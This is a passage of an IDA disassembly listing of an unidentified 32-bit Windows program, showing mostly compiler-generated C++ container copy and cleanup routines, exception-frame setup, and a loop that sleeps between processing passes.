		call	sub_4107BC
		int	3		; Trap to Debugger
sub_406F9C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_406FAF	proc near		; CODE XREF: sub_406D1A+1Cp
					; sub_4081BF+42p
		push	ebx
		mov	ebx, [esi+8]
		cmp	[esi+4], ebx
		push	edi
		jbe	short loc_406FBE
		call	sub_40DCFC


loc_406FBE:				; CODE XREF: sub_406FAF+8j
		mov	edi, [esi+4]
		cmp	edi, [esi+8]
		jbe	short loc_406FCB
		call	sub_40DCFC


loc_406FCB:				; CODE XREF: sub_406FAF+15j
		cmp	edi, ebx
		jz	short loc_406FE9
		push	edi
		push	dword ptr [esi+8]
		mov	eax, ebx
		call	sub_4071B0
		pop	ecx
		pop	ecx
		push	dword ptr [esi+8]
		mov	edi, eax
		call	sub_406737
		mov	[esi+8], edi


loc_406FE9:				; CODE XREF: sub_406FAF+1Ej
		pop	edi
		pop	ebx
		retn
sub_406FAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_406FEC	proc near		; CODE XREF: sub_406E16+1Cp
					; sub_4081BF+4Dp
		push	ecx
		push	ebx
		mov	ebx, [esi+8]
		cmp	[esi+4], ebx
		push	edi
		jbe	short loc_406FFC
		call	sub_40DCFC


loc_406FFC:				; CODE XREF: sub_406FEC+9j
		mov	edi, [esi+4]
		cmp	edi, [esi+8]
		jbe	short loc_407009
		call	sub_40DCFC


loc_407009:				; CODE XREF: sub_406FEC+16j
		cmp	edi, ebx
		jz	short loc_407027
		push	edi
		push	dword ptr [esi+8]
		mov	eax, ebx
		call	sub_40721A
		pop	ecx
		pop	ecx
		push	dword ptr [esi+8]
		mov	edi, eax
		call	sub_4067F1
		mov	[esi+8], edi


loc_407027:				; CODE XREF: sub_406FEC+1Fj
		pop	edi
		pop	ebx
		pop	ecx
		retn
sub_406FEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40702B	proc near		; CODE XREF: sub_406A1C+1Cp
					; sub_40C844+199p
		mov	eax, [esi]
		cmp	eax, 0FFFFFFFEh
		jz	short loc_407072
		test	eax, eax
		jnz	short loc_40703B
		call	sub_40DCFC


loc_40703B:				; CODE XREF: sub_40702B+9j
		mov	eax, [esi]
		cmp	dword ptr [eax+18h], 10h
		jb	short loc_407048
		mov	ecx, [eax+4]
		jmp	short loc_40704B
; ---------------------------------------------------------------------------


loc_407048:				; CODE XREF: sub_40702B+16j
		lea	ecx, [eax+4]


loc_40704B:				; CODE XREF: sub_40702B+1Bj
		mov	edx, [esi+4]
		push	ebx
		mov	ebx, [eax+14h]
		add	ebx, ecx
		add	edx, edi
		cmp	edx, ebx
		pop	ebx
		ja	short loc_40706D
		cmp	dword ptr [eax+18h], 10h
		jb	short loc_407066
		mov	eax, [eax+4]
		jmp	short loc_407069
; ---------------------------------------------------------------------------


loc_407066:				; CODE XREF: sub_40702B+34j
		add	eax, 4


loc_407069:				; CODE XREF: sub_40702B+39j
		cmp	edx, eax
		jnb	short loc_407072


loc_40706D:				; CODE XREF: sub_40702B+2Ej
		call	sub_40DCFC


loc_407072:				; CODE XREF: sub_40702B+5j
					; sub_40702B+40j
		add	[esi+4], edi
		mov	eax, esi
		retn
sub_40702B	endp


; =============== S U B	R O U T	I N E =======================================



sub_407078	proc near		; CODE XREF: sub_406ACD+17p
					; sub_4075BC+73p
		mov	eax, offset loc_41AF05
		call	sub_41AE44
		push	ecx
		push	ecx
		mov	eax, [ebp+0Ch]
		and	dword ptr [ebp-4], 0
		push	ebx
		push	esi
		push	edi
		mov	[ebp-10h], esp
		mov	esi, ecx
		mov	[ebp-14h], eax


loc_407096:				; CODE XREF: sub_407078+33j
		cmp	esi, [ebp+8]
		jz	short loc_4070CC
		mov	ecx, [ebp+0Ch]
		push	esi
		call	sub_407365
		add	dword ptr [ebp+0Ch], 1Ch
		add	esi, 1Ch
		jmp	short loc_407096
; ---------------------------------------------------------------------------


loc_4070AD:				; DATA XREF: .vty:00420164o
		mov	esi, [ebp-14h]
		jmp	short loc_4070BE
; ---------------------------------------------------------------------------


loc_4070B2:				; CODE XREF: sub_407078+4Bj
		push	1
		mov	ecx, esi
		call	sub_4013C4
		add	esi, 1Ch


loc_4070BE:				; CODE XREF: sub_407078+38j
		cmp	esi, [ebp+0Ch]
		push	0
		jnz	short loc_4070B2
		push	0
		call	sub_4107BC


loc_4070CC:				; CODE XREF: sub_407078+21j
		mov	ecx, [ebp-0Ch]
		mov	eax, [ebp+0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn
sub_407078	endp


; =============== S U B	R O U T	I N E =======================================



sub_4070DE	proc near		; CODE XREF: sub_406694+73p
					; sub_4071F6+17p
		mov	eax, offset loc_41AEFB
		call	sub_41AE44
		push	ecx
		push	ecx
		mov	eax, [ebp+0Ch]
		and	dword ptr [ebp-4], 0
		push	ebx
		push	esi
		push	edi
		mov	[ebp-10h], esp
		mov	esi, ecx
		mov	[ebp-14h], eax


loc_4070FC:				; CODE XREF: sub_4070DE+34j
		cmp	esi, [ebp+8]
		jz	short loc_40712F
		push	dword ptr [ebp+0Ch]
		mov	ecx, esi
		call	sub_40738D
		add	dword ptr [ebp+0Ch], 38h
		add	esi, 38h
		jmp	short loc_4070FC
; ---------------------------------------------------------------------------


loc_407114:				; DATA XREF: .vty:0042010Co
		mov	esi, [ebp-14h]
		jmp	short loc_407121
; ---------------------------------------------------------------------------


loc_407119:				; CODE XREF: sub_4070DE+46j
		call	sub_4072AA
		add	esi, 38h


loc_407121:				; CODE XREF: sub_4070DE+39j
		cmp	esi, [ebp+0Ch]
		jnz	short loc_407119
		push	0
		push	0
		call	sub_4107BC


loc_40712F:				; CODE XREF: sub_4070DE+21j
		mov	ecx, [ebp-0Ch]
		mov	eax, [ebp+0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn
sub_4070DE	endp


; =============== S U B	R O U T	I N E =======================================



sub_407141	proc near		; CODE XREF: sub_40674E+73p
					; sub_40B203+17p
		mov	eax, offset loc_41B211
		call	sub_41AE44
		push	ecx
		push	ecx
		mov	eax, [ebp+0Ch]
		and	dword ptr [ebp-4], 0
		push	ebx
		push	esi
		push	edi
		mov	[ebp-10h], esp
		mov	edi, ecx
		mov	[ebp-14h], eax


loc_40715F:				; CODE XREF: sub_407141+32j
		cmp	edi, [ebp+8]
		jz	short loc_40719E
		push	dword ptr [ebp+0Ch]
		call	sub_4073B7
		add	dword ptr [ebp+0Ch], 2Ch
		add	edi, 2Ch
		jmp	short loc_40715F
; ---------------------------------------------------------------------------


loc_407175:				; DATA XREF: .vty:00420B04o
		mov	edi, [ebp-14h]
		jmp	short loc_407190
; ---------------------------------------------------------------------------


loc_40717A:				; CODE XREF: sub_407141+52j
		lea	esi, [edi+1Ch]
		call	sub_405AAC
		push	0
		push	1
		mov	ecx, edi
		call	sub_4013C4
		add	edi, 2Ch


loc_407190:				; CODE XREF: sub_407141+37j
		cmp	edi, [ebp+0Ch]
		jnz	short loc_40717A
		push	0
		push	0
		call	sub_4107BC


loc_40719E:				; CODE XREF: sub_407141+21j
		mov	ecx, [ebp-0Ch]
		mov	eax, [ebp+0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn
sub_407141	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4071B0	proc near		; CODE XREF: sub_406D1A+43p
					; sub_406D1A+9Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		push	edi
		sub	eax, ebx
		push	38h
		cdq
		pop	ecx
		idiv	ecx
		mov	edi, eax
		imul	edi, 38h
		add	edi, [ebp+arg_4]
		cmp	ebx, [ebp+arg_0]
		jz	short loc_4071F0
		mov	eax, [ebp+arg_4]
		sub	eax, ebx
		push	esi
		mov	[ebp+arg_4], eax
		jmp	short loc_4071DD
; ---------------------------------------------------------------------------


loc_4071DA:				; CODE XREF: sub_4071B0+3Dj
		mov	eax, [ebp+arg_4]


loc_4071DD:				; CODE XREF: sub_4071B0+28j
		lea	esi, [eax+ebx]
		mov	eax, ebx
		call	sub_4076C2
		add	ebx, 38h
		cmp	ebx, [ebp+arg_0]
		jnz	short loc_4071DA
		pop	esi


loc_4071F0:				; CODE XREF: sub_4071B0+1Dj
		mov	eax, edi
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_4071B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4071F6	proc near		; CODE XREF: sub_406D1A+EEp
					; sub_409E2A+A0p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		xor	eax, eax
		lea	edi, [ebp+var_4]
		stosb
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4070DE
		add	esp, 10h
		pop	edi
		leave
		retn	8
sub_4071F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40721A	proc near		; CODE XREF: sub_406E16+43p
					; sub_406E16+9Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, eax
		mov	eax, [ebp+arg_0]
		sub	eax, edi
		push	2Ch
		cdq
		pop	ecx
		idiv	ecx
		mov	ebx, eax
		imul	ebx, 2Ch
		add	ebx, [ebp+arg_4]
		cmp	edi, [ebp+arg_0]
		jz	short loc_407258
		mov	eax, [ebp+arg_4]
		sub	eax, edi
		mov	[ebp+arg_4], eax
		jmp	short loc_407248
; ---------------------------------------------------------------------------


loc_407245:				; CODE XREF: sub_40721A+3Cj
		mov	eax, [ebp+arg_4]


loc_407248:				; CODE XREF: sub_40721A+29j
		lea	esi, [eax+edi]
		call	sub_4076E5
		add	edi, 2Ch
		cmp	edi, [ebp+arg_0]
		jnz	short loc_407245


loc_407258:				; CODE XREF: sub_40721A+1Fj
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_40721A	endp


; =============== S U B	R O U T	I N E =======================================



sub_407260	proc near		; CODE XREF: sub_406F3C+48p
		mov	eax, offset loc_41AEF1
		call	sub_41AE44
		push	ecx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		mov	ecx, esi
		call	sub_401C1E
		and	dword ptr [ebp-4], 0
		lea	eax, [esi+1Ch]
		lea	ecx, [edi+1Ch]
		push	eax
		call	sub_4072C2
		mov	eax, [edi+2Ch]
		mov	ecx, [ebp-0Ch]
		mov	[esi+2Ch], eax
		mov	eax, [edi+30h]
		mov	[esi+30h], eax
		mov	eax, [edi+34h]
		mov	[esi+34h], eax
		mov	eax, esi
		mov	large fs:0, ecx
		pop	esi
		leave
		retn	4
sub_407260	endp


; =============== S U B	R O U T	I N E =======================================



sub_4072AA	proc near		; CODE XREF: sub_406737:loc_40673Cp
					; sub_4070DE:loc_407119p ...
		push	0
		push	1
		lea	ecx, [esi+1Ch]
		call	sub_4013C4
		push	0
		push	1
		mov	ecx, esi
		call	sub_4013C4
		retn
sub_4072AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4072C2	proc near		; CODE XREF: sub_407260+22p
		mov	eax, offset loc_41AFE4
		call	sub_41AE44
		sub	esp, 14h
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		mov	ebx, ecx
		push	edi
		mov	eax, ebx
		mov	[ebp-10h], esp
		call	sub_405555
		xor	ecx, ecx
		cmp	eax, ecx
		mov	[esi+4], ecx
		mov	[esi+8], ecx
		mov	[esi+0Ch], ecx
		jz	short loc_407340
		mov	edi, esi
		call	sub_4073E1
		test	al, al
		jz	short loc_407340
		and	dword ptr [ebp-4], 0
		mov	eax, [ebx+8]
		cmp	[ebx+4], eax
		mov	[ebp-18h], eax
		jbe	short loc_40730F
		call	sub_40DCFC


loc_40730F:				; CODE XREF: sub_4072C2+46j
		mov	eax, [ebx+4]
		cmp	eax, [ebx+8]
		mov	[ebp-1Ch], eax
		jbe	short loc_40731F
		call	sub_40DCFC


loc_40731F:				; CODE XREF: sub_4072C2+56j
		mov	ecx, [esi+4]
		xor	eax, eax
		lea	edi, [ebp-14h]
		stosb
		push	dword ptr [ebp-14h]
		push	dword ptr [ebp+8]
		push	ecx
		push	dword ptr [ebp-18h]
		mov	ecx, [ebp-1Ch]
		call	sub_40CB4B
		add	esp, 10h
		mov	[esi+8], eax


loc_407340:				; CODE XREF: sub_4072C2+2Cj
					; sub_4072C2+37j
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_4072C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_407353	proc near		; DATA XREF: .vty:004204C8o
		mov	edi, [ebp+8]
		call	sub_406C09
		push	0
		push	0
		call	sub_4107BC
		int	3		; Trap to Debugger
sub_407353	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_407365	proc near		; CODE XREF: sub_407078+27p
					; sub_40B35E+28p ...
		mov	eax, offset loc_41B3E6
		call	sub_41AE44
		and	dword ptr [ebp-4], 0
		test	ecx, ecx
		jz	short loc_40737F
		push	dword ptr [ebp+8]
		call	sub_401C1E


loc_40737F:				; CODE XREF: sub_407365+10j
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		leave
		retn	4
sub_407365	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40738D	proc near		; CODE XREF: sub_4070DE+28p
					; sub_40B28F+28p
		mov	eax, offset loc_41B3E6
		call	sub_41AE44
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+8], 0
		jz	short loc_4073A9
		push	dword ptr [ebp+8]
		call	sub_407525


loc_4073A9:				; CODE XREF: sub_40738D+12j
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		leave
		retn	4
sub_40738D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4073B7	proc near		; CODE XREF: sub_407141+26p
					; sub_40B2EF+29p
		mov	eax, offset loc_41B3E6
		call	sub_41AE44
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+8], 0
		jz	short loc_4073D3
		push	dword ptr [ebp+8]
		call	sub_407560


loc_4073D3:				; CODE XREF: sub_4073B7+12j
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		leave
		retn	4
sub_4073B7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4073E1	proc near		; CODE XREF: sub_4072C2+30p
		push	esi
		mov	esi, eax
		cmp	esi, 2C8590Bh
		jbe	short loc_4073F1
		jmp	sub_40684D
; ---------------------------------------------------------------------------


loc_4073F1:				; CODE XREF: sub_4073E1+9j
		mov	ecx, esi
		call	sub_40740A
		imul	esi, 5Ch
		add	esi, eax
		mov	[edi+4], eax
		mov	[edi+8], eax
		mov	[edi+0Ch], esi
		mov	al, 1
		pop	esi
		retn
sub_4073E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40740A	proc near		; CODE XREF: sub_4073E1+12p
					; sub_40C3E5+9Ap

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		test	ecx, ecx
		ja	short loc_407422
		xor	ecx, ecx


loc_407416:				; CODE XREF: sub_40740A+22j
		imul	ecx, 5Ch
		push	ecx
		call	sub_40DE68
		pop	ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_407422:				; CODE XREF: sub_40740A+8j
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	ecx
		cmp	eax, 5Ch
		jnb	short loc_407416
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		lea	ecx, [ebp+var_10]
		call	sub_40D873
		push	offset dword_41FEA0
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_10], offset off_41C290
		call	sub_4107BC
		int	3		; Trap to Debugger
sub_40740A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_407454	proc near		; CODE XREF: sub_403151+CEp
		mov	eax, offset loc_41B3D7
		call	sub_41AE44
		sub	esp, 18h
		push	ebx
		push	esi
		mov	esi, [ebp+1Ch]
		push	edi
		mov	edi, [ebp+18h]
		and	dword ptr [ebp-4], 0
		mov	[ebp-10h], esp
		mov	[ebp-1Ch], edi
		mov	[ebp-18h], esi


loc_407477:				; CODE XREF: sub_407454+6Dj
		test	edi, edi
		jz	short loc_407480
		cmp	edi, [ebp+20h]
		jz	short loc_407485


loc_407480:				; CODE XREF: sub_407454+25j
		call	sub_40DCFC


loc_407485:				; CODE XREF: sub_407454+2Aj
		cmp	esi, [ebp+24h]
		jz	loc_407514
		test	edi, edi
		jnz	short loc_407497
		call	sub_40DCFC


loc_407497:				; CODE XREF: sub_407454+3Cj
		cmp	esi, [edi+4]
		jnz	short loc_4074A1
		call	sub_40DCFC


loc_4074A1:				; CODE XREF: sub_407454+46j
		push	dword ptr [ebp+14h]
		add	esi, 8
		push	dword ptr [ebp+10h]
		push	esi
		push	dword ptr [ebp+8]
		call	sub_406CEA
		lea	esi, [ebp+18h]
		call	sub_405D8F
		mov	esi, [ebp+1Ch]
		mov	edi, [ebp+18h]
		jmp	short loc_407477
; ---------------------------------------------------------------------------


loc_4074C3:				; CODE XREF: sub_407454+B5j
		mov	eax, [ebp-1Ch]
		test	eax, eax
		jz	short loc_4074CF
		cmp	eax, [ebp+18h]
		jz	short loc_4074D4


loc_4074CF:				; CODE XREF: sub_407454+74j
		call	sub_40DCFC


loc_4074D4:				; CODE XREF: sub_407454+79j
		mov	eax, [ebp-18h]
		cmp	eax, [ebp+1Ch]
		jz	short loc_40750B
		mov	eax, [ebp+10h]
		mov	[ebp+20h], eax
		mov	eax, [ebp+14h]
		lea	esi, [ebp+20h]
		mov	[ebp+24h], eax
		call	sub_405967
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		lea	eax, [ebp-24h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_406631
		lea	esi, [ebp-1Ch]
		call	sub_405D8F
		jmp	short loc_4074C3
; ---------------------------------------------------------------------------


loc_40750B:				; CODE XREF: sub_407454+86j
		push	0
		push	0
		call	sub_4107BC


loc_407514:				; CODE XREF: sub_407454+34j
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	20h
sub_407454	endp


; =============== S U B	R O U T	I N E =======================================



sub_407525	proc near		; CODE XREF: sub_40738D+17p
					; sub_409E2A+1Ap
		mov	eax, offset loc_41AEF1
		call	sub_41AE44
		push	esi
		mov	esi, [ebp+8]
		push	edi
		mov	edi, ecx
		push	edi
		mov	ecx, esi
		call	sub_401C1E
		and	dword ptr [ebp-4], 0
		add	edi, 1Ch
		push	edi
		lea	ecx, [esi+1Ch]
		call	sub_401C1E
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_407525	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_407560	proc near		; CODE XREF: sub_4073B7+17p
					; sub_40A022+1Cp
		mov	eax, offset loc_41AEF1
		call	sub_41AE44
		push	ecx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		mov	ecx, esi
		call	sub_401C1E
		and	dword ptr [ebp-4], 0
		lea	eax, [esi+1Ch]
		lea	ecx, [edi+1Ch]
		push	eax
		call	sub_4075BC
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		mov	large fs:0, ecx
		pop	esi
		leave
		retn	4
sub_407560	endp


; =============== S U B	R O U T	I N E =======================================



sub_407598	proc near		; CODE XREF: sub_406C09:loc_406C17p
					; sub_40BDCD+19Cp ...
		push	0
		push	1
		lea	ecx, [esi+38h]
		call	sub_4013C4
		push	0
		push	1
		lea	ecx, [esi+1Ch]
		call	sub_4013C4
		push	0
		push	1
		mov	ecx, esi
		call	sub_4013C4
		retn
sub_407598	endp


; =============== S U B	R O U T	I N E =======================================



sub_4075BC	proc near		; CODE XREF: sub_407560+22p
					; sub_4081BF+29Bp ...
		mov	eax, offset loc_41B207
		call	sub_41AE44
		sub	esp, 14h
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		mov	ebx, ecx
		push	edi
		mov	eax, ebx
		mov	[ebp-10h], esp
		call	sub_4057B6
		xor	ecx, ecx
		cmp	eax, ecx
		mov	[esi+4], ecx
		mov	[esi+8], ecx
		mov	[esi+0Ch], ecx
		jz	short loc_40763A
		mov	edi, esi
		call	sub_405A66
		test	al, al
		jz	short loc_40763A
		and	dword ptr [ebp-4], 0
		mov	eax, [ebx+8]
		cmp	[ebx+4], eax
		mov	[ebp-18h], eax
		jbe	short loc_407609
		call	sub_40DCFC


loc_407609:				; CODE XREF: sub_4075BC+46j
		mov	eax, [ebx+4]
		cmp	eax, [ebx+8]
		mov	[ebp-1Ch], eax
		jbe	short loc_407619
		call	sub_40DCFC


loc_407619:				; CODE XREF: sub_4075BC+56j
		mov	ecx, [esi+4]
		xor	eax, eax
		lea	edi, [ebp-14h]
		stosb
		push	dword ptr [ebp-14h]
		push	dword ptr [ebp+8]
		push	ecx
		push	dword ptr [ebp-18h]
		mov	ecx, [ebp-1Ch]
		call	sub_407078
		add	esp, 10h
		mov	[esi+8], eax


loc_40763A:				; CODE XREF: sub_4075BC+2Cj
					; sub_4075BC+37j
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_4075BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40764D	proc near		; DATA XREF: .vty:00420AACo
		mov	esi, [ebp+8]
		call	sub_405AAC
		push	0
		push	0
		call	sub_4107BC
		int	3		; Trap to Debugger
sub_40764D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40765F	proc near		; CODE XREF: sub_406B60+17p
		mov	eax, offset loc_41B5AC
		call	sub_41AE44
		push	ecx
		push	ecx
		mov	eax, [ebp+0Ch]
		and	dword ptr [ebp-4], 0
		push	ebx
		push	esi
		push	edi
		mov	[ebp-10h], esp
		mov	esi, ecx
		mov	[ebp-14h], eax


loc_40767D:				; CODE XREF: sub_40765F+34j
		cmp	esi, [ebp+8]
		jz	short loc_4076B0
		push	dword ptr [ebp+0Ch]
		mov	ecx, esi
		call	sub_406F12
		add	dword ptr [ebp+0Ch], 74h
		add	esi, 74h
		jmp	short loc_40767D
; ---------------------------------------------------------------------------


loc_407695:				; DATA XREF: .vty:004212ACo
		mov	edi, [ebp-14h]
		jmp	short loc_4076A2
; ---------------------------------------------------------------------------


loc_40769A:				; CODE XREF: sub_40765F+46j
		call	sub_405989
		add	edi, 74h


loc_4076A2:				; CODE XREF: sub_40765F+39j
		cmp	edi, [ebp+0Ch]
		jnz	short loc_40769A
		push	0
		push	0
		call	sub_4107BC


loc_4076B0:				; CODE XREF: sub_40765F+21j
		mov	ecx, [ebp-0Ch]
		mov	eax, [ebp+0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn
sub_40765F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4076C2	proc near		; CODE XREF: sub_4071B0+32p
					; sub_409E2A+173p ...
		push	edi
		push	0FFFFFFFFh
		mov	edi, eax
		push	0
		push	edi
		mov	ecx, esi
		call	sub_401315
		push	0FFFFFFFFh
		push	0
		add	edi, 1Ch
		push	edi
		lea	ecx, [esi+1Ch]
		call	sub_401315
		mov	eax, esi
		pop	edi
		retn
sub_4076C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4076E5	proc near		; CODE XREF: sub_40721A+31p
					; sub_40B227+32p
		push	ebx
		push	0FFFFFFFFh
		push	0
		push	edi
		mov	ecx, esi
		call	sub_401315
		lea	ebx, [edi+1Ch]
		lea	eax, [esi+1Ch]
		call	sub_4056BC
		mov	eax, esi
		pop	ebx
		retn
sub_4076E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_407701	proc near		; CODE XREF: sub_40CA70+28p
					; sub_40CB4B+26p
		mov	eax, offset loc_41B3E6
		call	sub_41AE44
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+8], 0
		jz	short loc_40771D
		push	dword ptr [ebp+8]
		call	sub_40772B


loc_40771D:				; CODE XREF: sub_407701+12j
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		leave
		retn	4
sub_407701	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40772B	proc near		; CODE XREF: sub_407701+17p
					; sub_40C3E5+1Cp
		mov	eax, offset loc_41AEDF
		call	sub_41AE44
		push	esi
		mov	esi, [ebp+8]
		push	edi
		mov	ecx, esi
		call	sub_401C1E
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+1Ch]
		push	eax
		lea	ecx, [esi+1Ch]
		call	sub_401C1E
		lea	eax, [edi+38h]
		push	eax
		lea	ecx, [esi+38h]
		mov	byte ptr [ebp-4], 1
		call	sub_401C1E
		mov	eax, [edi+54h]
		mov	ecx, [ebp-0Ch]
		mov	[esi+54h], eax
		mov	al, [edi+58h]
		mov	[esi+58h], al
		mov	al, [edi+59h]
		mov	[esi+59h], al
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_40772B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407784	proc near		; DATA XREF: .vty:0041EB68o

var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= byte ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= byte ptr -64h
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		push	0FFFFFFFFh
		push	offset SEH_407C9A
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 88h
		push	ebx
		push	esi
		xor	esi, esi
		mov	ebx, ecx
		push	edi
		mov	[esp+0A0h+var_90], ebx
		mov	[esp+0A0h+var_70], esi
		mov	[esp+0A0h+var_6C], esi
		mov	[esp+0A0h+var_68], esi
		push	0Fh
		pop	edi
		mov	[esp+0A0h+var_4], esi
		push	esi
		lea	ecx, [esp+0A4h+var_2C]
		mov	[esp+0A4h+var_14], edi
		call	sub_401564
		push	esi
		lea	ecx, [esp+0A4h+var_48]
		mov	[esp+0A4h+var_30], edi
		call	sub_401564
		push	esi
		lea	ecx, [esp+0A4h+var_64]
		mov	[esp+0A4h+var_4C], edi
		call	sub_401564
		lea	ecx, [esp+0A0h+var_8C]
		lea	eax, [ebx+8]
		push	ecx
		push	eax
		mov	[esp+0A8h+var_88], eax
		lea	eax, [esp+0A8h+var_74]
		mov	byte ptr [esp+0A8h+var_4], 3
		mov	edi, [ebx+4]
		push	eax
		call	sub_4027E7
		test	eax, eax
		jle	loc_4078F4
		lea	eax, [esp+0A0h+var_74]
		mov	[esp+0A0h+var_7C], eax


loc_407825:				; CODE XREF: sub_407784+168j
		mov	ecx, [ebx+4]
		lea	eax, [esp+0A0h+var_48]
		push	eax
		lea	eax, [esp+0A4h+var_64]
		push	eax
		lea	eax, [esp+0A8h+var_2C]
		push	eax
		lea	eax, [esp+0ACh+var_74]
		push	eax
		call	sub_402979
		lea	eax, [esp+0A0h+var_64]
		push	eax
		lea	eax, [esp+0A4h+var_48]
		push	eax
		lea	eax, [esp+0A8h+var_2C]
		push	eax
		lea	eax, [esp+0ACh+var_74]
		push	eax
		push	ebx
		call	sub_407949
		mov	esi, [esp+0A0h+var_70]
		cmp	esi, [esp+0A0h+var_6C]
		jbe	short loc_40786A
		call	sub_40DCFC


loc_40786A:				; CODE XREF: sub_407784+DFj
		lea	eax, [esp+0A0h+var_74]
		mov	[esp+0A0h+var_84], eax
		mov	[esp+0A0h+var_80], esi


loc_407876:				; CODE XREF: sub_407784+12Ej
		mov	esi, [esp+0A0h+var_6C]
		cmp	[esp+0A0h+var_70], esi
		jbe	short loc_407885
		call	sub_40DCFC


loc_407885:				; CODE XREF: sub_407784+FAj
		mov	[esp+0A0h+var_78], esi
		lea	edi, [esp+0A0h+var_7C]
		lea	esi, [esp+0A0h+var_84]
		call	sub_407BB6
		test	al, al
		jz	short loc_4078B4
		call	sub_409835
		mov	ecx, [esp+0A0h+var_90]
		push	dword ptr [ecx+4]
		mov	edi, [eax]
		call	sub_402BCF
		call	sub_407BD3
		jmp	short loc_407876
; ---------------------------------------------------------------------------


loc_4078B4:				; CODE XREF: sub_407784+114j
		lea	ebx, [esp+0A0h+var_74]
		call	sub_407B46
		mov	eax, [esp+0A0h+var_8C]
		imul	eax, 3E8h
		push	eax
		call	dword_41C090	; Sleep
		lea	eax, [esp+0A0h+var_8C]
		push	eax
		push	[esp+0A4h+var_88]
		mov	eax, ebx
		push	eax
		mov	eax, [esp+0ACh+var_90]
		mov	edi, [eax+4]
		call	sub_4027E7
		test	eax, eax
		mov	ebx, [esp+0A0h+var_90]
		jg	loc_407825
		xor	esi, esi


loc_4078F4:				; CODE XREF: sub_407784+93j
